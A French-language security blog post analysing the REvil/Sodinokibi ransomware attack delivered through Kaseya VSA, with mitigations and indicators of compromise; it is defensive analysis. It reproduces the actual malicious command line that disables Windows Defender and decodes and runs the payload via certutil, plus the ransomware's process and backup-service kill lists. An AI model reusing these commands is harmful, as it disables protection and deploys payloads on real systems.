Le 2 juillet, un correctif malveillant a été publié par les serveurs VSA de Kaseya sur les serveurs gérés par l’entreprise. Des milliers de nœuds appartenant à des centaines d’entreprises ont ainsi pu être compromis et chiffrés.
Ce correctif malveillant contenait une charge utile nommée Sodinokibi et diffusée par un groupe très connu, REvil, qui a chiffré les serveurs et les dossiers partagés.
VSA est un logiciel très populaire pour assurer la gestion des réseaux distants. Il est utilisé par de nombreux prestataires de services managés (MSP) qui proposent des services informatiques à d’autres entreprises. Les logiciels de gestion réseau constituent l’endroit idéal pour cacher une porte dérobée, car ces systèmes ont bien souvent accès à de nombreux emplacements et effectuent de multiples tâches, ce qui les rend difficiles à surveiller.
À la différence de l’attaque contre la supply chain de SolarWinds, au cours de laquelle les serveurs de mise à jour de l’entreprise avaient été corrompus, il ne semble pas que l’infrastructure de Kaseya ait été compromise.
Les attaquants ont exploité des serveurs VSA vulnérables connectés à Internet et placés en amont de nombreuses victimes, dans les réseaux des MSP, pour en faire des portes dérobées. Il était ainsi difficile, voire impossible pour les victimes de détecter ou bloquer l’infection, car le ransomware était placé en amont.
De plus, les mises à jour étant distribuées sur de nombreux nœuds, la reprise risque d’être difficile pour de nombreuses organisations. Le rayon d’exposition d’un seul utilisateur ou terminal compromis est généralement important, car un utilisateur lambda a bien souvent accès à des millions de fichiers dont il n’a pas besoin. Quant au rayon d’exposition des administrateurs et serveurs d’administration, il est tout bonnement gigantesque.
De nombreuses organisations partout en Europe et dans la région APAC ont été contraintes d’interrompre totalement leur activité pour réparer les dégâts.
Qui est responsable de l’attaque ?
REvil, un des groupes de hackers les plus actifs au monde, affirme sur son blog avoir fomenté cette attaque. Son portail de paiement est en ligne, et ses membres négocient activement avec les victimes.
REvil affirme avoir infecté plus d’un million de systèmes, mais d’après le rapport de Bleeping Computer, environ 60 clients directs de Kasaya semblaient touchés au 6 juillet, soit de 800 à 1 500 entreprises compromises en aval.
Où a commencé l’attaque ?
Les serveurs de VSA semblaient vulnérables à une attaque par injection SQL qui a permis aux hackers de les exploiter à distance. Un identifiant CVE a été attribué à la vulnérabilité utilisée : CVE-2021–30116.
À la différence des attaques précédentes orchestrées par REvil, qui se déroulaient en toute discrétion pendant une période prolongée et exfiltraient les données minutieusement avant de déclencher le ransomware, cette attaque s’est exécutée très rapidement.
Les hackers semblaient savoir qu’un correctif allait apparaître sous peu. Le chercheur en sécurité Victor Gevers (@0xDUDE) et l’équipe de DIVD.nl avaient en effet alerté Kaseya de cette vulnérabilité et l’aidaient à mettre en place un correctif, mais REvil les a pris de vitesse :
Le groupe savait-il qu’un correctif était en cours d’élaboration ? A-t-il pu intercepter les échanges entre l’équipe de DIVD.nl et Kaseya ? Ces questions restent pour le moment sans réponse.
Mesures d’atténuation
- Si vous utilisez le serveur VSA de Kaseya dans votre organisation, désactivez-le et isolez-le immédiatement.
- Utilisez l’outil de détection de Kaseya.
- Passez en revue la liste des hachages et adresses IP en annexe (en bas de cet article). Si vous les retrouvez dans un des fichiers journaux, partez du principe que votre infrastructure a été compromise et lancez au plus vite les processus de réponse aux incidents.
- Si vous utilisez VSA dans votre environnement, effectuez l’étape 1, puis recherchez des enregistrements/alertes concernant des connexions inhabituelles depuis/par le serveur VSA ou les comptes associés à ce serveur.
Diffusion
D’après différentes sources, la charge utile est diffusée via un correctif destiné aux clients de Kaseya.
Une fois publié, ce correctif crée un dossier sous le lecteur C: intitulé kworking, comme le ferait un correctif classique.
Ce dossier contient 2 fichiers :
- agent.txt
- agent.crt
Une fois que le correctif a terminé d’écrire sur le disque, il lance plusieurs actions visant à préparer la machine à l’infection :
C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe
- C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe
C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe
Ce long script PowerShell (exécuté avec des privilèges élevés dans le cadre du processus de mise à jour de Kaseya) procède aux actions suivantes :
- Arrêt de la surveillance en temps réel de Windows Defender, de la protection du réseau, de la protection des dossiers, de l’analyse en temps réel des scripts et fichiers, des systèmes de prévention d’intrusion basés sur un hôte et de l’envoi automatique vers le cloud, et activation du mode d’audit
- Déchiffrement du certificat que la charge utile doit utiliser à l’aide de l’utilitaire « certutil » intégré à Windows
- Suppression des artefacts
Une fois ces opérations effectuées, la charge utile remplace le fichier MsMpEng.exe d’origine par une version obsolète. Bien que cet exécutable soit légitime, il présente une faille qui permet de charger la bibliothèque DLL de l’outil de chiffrement et de l’exécuter en tant que service pour chiffrer la machine avec des privilèges élevés.
Infection
Lorsqu’elle est exécutée par le fichier « MsMpEng.exe », la charge utile énumère les lecteurs réseau, les lecteurs physiques et les processus, puis lance le processus de chiffrement sur le serveur.
Ce ransomware met en liste blanche les éléments suivants, qui ne seront pas chiffrés :
Extensions :
*.ps1,*.ldf,*.lock,*.theme,*.msi,*.sys,*.wpx,*.cpl,*.adv,*.msc,*.scr,*.bat,*.key,*.ico,*.dll,*.hta,*.deskthemepack,*.nomedia,*.msu,*.rtp,*.msp,*.idx,*.ani,*.386,*.diagcfg,*.bin,*.mod,*.ics,*.com,*.hlp,*.spl,*.nls,*.cab,*.exe,*.diagpkg,*.icl,*.ocx,*.rom,*.prf,*.themepack,*.msstyles,*.lnk,*.icns,*.mpa,*.drv,*.cur,*.diagcab,*.cmd,*.shs
- *.ps1,*.ldf,*.lock,*.theme,*.msi,*.sys,*.wpx,*.cpl,*.adv,*.msc,*.scr,*.bat,*.key,*.ico,*.dll,*.hta,*.deskthemepack,*.nomedia,*.msu,*.rtp,*.msp,*.idx,*.ani,*.386,*.diagcfg,*.bin,*.mod,*.ics,*.com,*.hlp,*.spl,*.nls,*.cab,*.exe,*.diagpkg,*.icl,*.ocx,*.rom,*.prf,*.themepack,*.msstyles,*.lnk,*.icns,*.mpa,*.drv,*.cur,*.diagcab,*.cmd,*.shs
*.ps1,*.ldf,*.lock,*.theme,*.msi,*.sys,*.wpx,*.cpl,*.adv,*.msc,*.scr,*.bat,*.key,*.ico,*.dll,*.hta,*.deskthemepack,*.nomedia,*.msu,*.rtp,*.msp,*.idx,*.ani,*.386,*.diagcfg,*.bin,*.mod,*.ics,*.com,*.hlp,*.spl,*.nls,*.cab,*.exe,*.diagpkg,*.icl,*.ocx,*.rom,*.prf,*.themepack,*.msstyles,*.lnk,*.icns,*.mpa,*.drv,*.cur,*.diagcab,*.cmd,*.shs
Fichiers :
ntldr, thumbs.db, bootsect.bak, autorun.inf, ntuser.dat.log, boot.ini, iconcache.db, bootfont.bin, ntuser.dat, ntuser.ini, desktop.ini
- ntldr, thumbs.db, bootsect.bak, autorun.inf, ntuser.dat.log, boot.ini, iconcache.db, bootfont.bin, ntuser.dat, ntuser.ini, desktop.ini
ntldr, thumbs.db, bootsect.bak, autorun.inf, ntuser.dat.log, boot.ini, iconcache.db, bootfont.bin, ntuser.dat, ntuser.ini, desktop.ini
Dossiers :
program files, appdata, mozilla, $windows.~ws, application data, $windows.~bt, google, $recycle.bin, windows.old, programdata, system volume information, program files (x86), boot, tor browser, windows, intel, perflogs, msocache
- program files, appdata, mozilla, $windows.~ws, application data, $windows.~bt, google, $recycle.bin, windows.old, programdata, system volume information, program files (x86), boot, tor browser, windows, intel, perflogs, msocache
program files, appdata, mozilla, $windows.~ws, application data, $windows.~bt, google, $recycle.bin, windows.old, programdata, system volume information, program files (x86), boot, tor browser, windows, intel, perflogs, msocache
De plus, le ransomware essaie de fermer les processus et de supprimer les services suivants :
Processus :
encsvc, powerpnt, ocssd, steam, isqlplussvc, outlook, sql, ocomm, agntsvc, mspub, onenote, winword, thebat, excel, mydesktopqos, ocautoupds, thunderbird, synctime, infopath, mydesktopservice, firefox, oracle, sqbcoreservice, dbeng50, tbirdconfig, msaccess, visio, dbsnmp, wordpad, xfssvccon
- encsvc, powerpnt, ocssd, steam, isqlplussvc, outlook, sql, ocomm, agntsvc, mspub, onenote, winword, thebat, excel, mydesktopqos, ocautoupds, thunderbird, synctime, infopath, mydesktopservice, firefox, oracle, sqbcoreservice, dbeng50, tbirdconfig, msaccess, visio, dbsnmp, wordpad, xfssvccon
encsvc, powerpnt, ocssd, steam, isqlplussvc, outlook, sql, ocomm, agntsvc, mspub, onenote, winword, thebat, excel, mydesktopqos, ocautoupds, thunderbird, synctime, infopath, mydesktopservice, firefox, oracle, sqbcoreservice, dbeng50, tbirdconfig, msaccess, visio, dbsnmp, wordpad, xfssvccon
Services :
veeam, memtas, sql, backup, vss, sophos, svc$, mepocs
- veeam, memtas, sql, backup, vss, sophos, svc$, mepocs
veeam, memtas, sql, backup, vss, sophos, svc$, mepocs
Malgré la configuration « Sodinokibi » de cette campagne, les communications réseau avec les hackers étaient désactivées.
La configuration contenait 1 223 domaines C2 uniques, mais ils n’étaient pas intégrés à la campagne.
Aucune fonctionnalité typique des vers (en lien avec la fuite de l’exploit « PrintNightmare ») ni aucune tentative d’appeler et de communiquer avec un serveur C2 au cours de l’infection n’ont été observées, ce qui indique les objectifs et priorités des hackers.
En règle générale, des communications C2 sont associées à ces attaques, en particulier dans le cadre de stratégies discrètes et lentes et/ou pour exfiltrer des données lors de « doubles extorsions ». Cette attaque semble pour le moment se baser uniquement sur le chiffrement et suit une logique de simple extorsion visant à générer un impact maximal.
Nous pouvons toutefois partir du principe que des échanges ont eu lieu au moment du déploiement du correctif pour récupérer des données de télémétrie indiquant le nombre d’entreprises touchées.
Deux MUTEX uniques ont été observés lors de la campagne :
- HKLM\SOFTWARE\Wow6432Node\BlackLivesMatter
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon -> “DefaultPassword”=”DTrump4ever
« BlackLivesMatter » faisait partie du malware Sodinokibi de REvil observé lors des campagnes de janvier 2019, tandis que le second semble inédit.
Par ailleurs, la charge utile essaie de désactiver le pare-feu et d’activer la découverte des réseaux à l’aide de Defender lors d’une étape redondante et ultérieure (le pare-feu et Defender sont déjà interrompus et désactivés) :
- netsh advfirewall firewall set rule group=”Network Discovery” new enable=Yes
Impact
Une fois tous les fichiers du serveur chiffrés, le fond d’écran du serveur est modifié :
Une demande de rançon est ajoutée sur le bureau et le lecteur C:\. Elle contient la chaîne à indiquer sur un site de négociation (présenté en annexe).
Annexe : Indices de compromission
Adresses IP
- 18[.]223[.]199[.]234
- 161[.]35[.]239[.]148
- 193[.]204[.]114[.]232
Hachages de fichiers (SHA-256)
Mpsvc.dll (MpsVc.dll, MpsVc, mpsvc.dll, MpsVc_.dll) :
- d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20
- d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f
- cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6
- 0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402
- 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd
srnmp.exe :
- 1fe9b489c25bb23b04d9996e8107671edee69bd6f6def2fe7ece38a0fb35f98e
svchost.exe :
- 66490c59cb9630b53fa3fa7125b5c9511afde38edab4459065938c1974229ca8
Updater.exe :
- dc6b0e8c1e9c113f0364e1c8370060dee3fcbe25b667ddeca7623a95cd21411f
p.exe.TXT :
- aae6e388e774180bc3eb96dad5d5bfefd63d0eb7124d68b6991701936801f1c7
agent.exe :
- d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e
Échantillons génériques, sans noms uniques :
- e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2
- df2d6ef0450660aaae62c429610b964949812df2da1c57646fc29aa51c3f031e
- 81d0c71f8b282076cd93fb6bb5bfd3932422d033109e2c92572fc49e4abc2471
- 8e846ed965bbc0270a6f58c5818e039ef2fb78def4d2bf82348ca786ea0cea4f
- 36a71c6ac77db619e18f701be47d79306459ff1550b0c92da47b8c46e2ec0752
- 45AEBD60E3C4ED8D3285907F5BF6C71B3B60A9BCB7C34E246C20410CF678FC0C
Que dois-je faire maintenant ?
Vous trouverez ci-dessous trois solutions pour poursuivre vos efforts visant à réduire les risques liés aux données dans votre entreprise:
Planifiez une démonstration avec nous pour voir Varonis en action. Nous personnaliserons la session en fonction des besoins de votre organisation en matière de sécurité des données et répondrons à vos questions.
Consultez un exemple de notre évaluation des risques liés aux données et découvrez les risques qui pourraient subsister dans votre environnement. Cette évaluation est gratuite et vous montre clairement comment procéder à une remédiation automatisée.
Suivez-nous sur LinkedIn, YouTube et X (Twitter) for pour obtenir des informations sur tous les aspects de la sécurité des données, y compris la DSPM, la détection des menaces, la sécurité de l’IA et plus encore.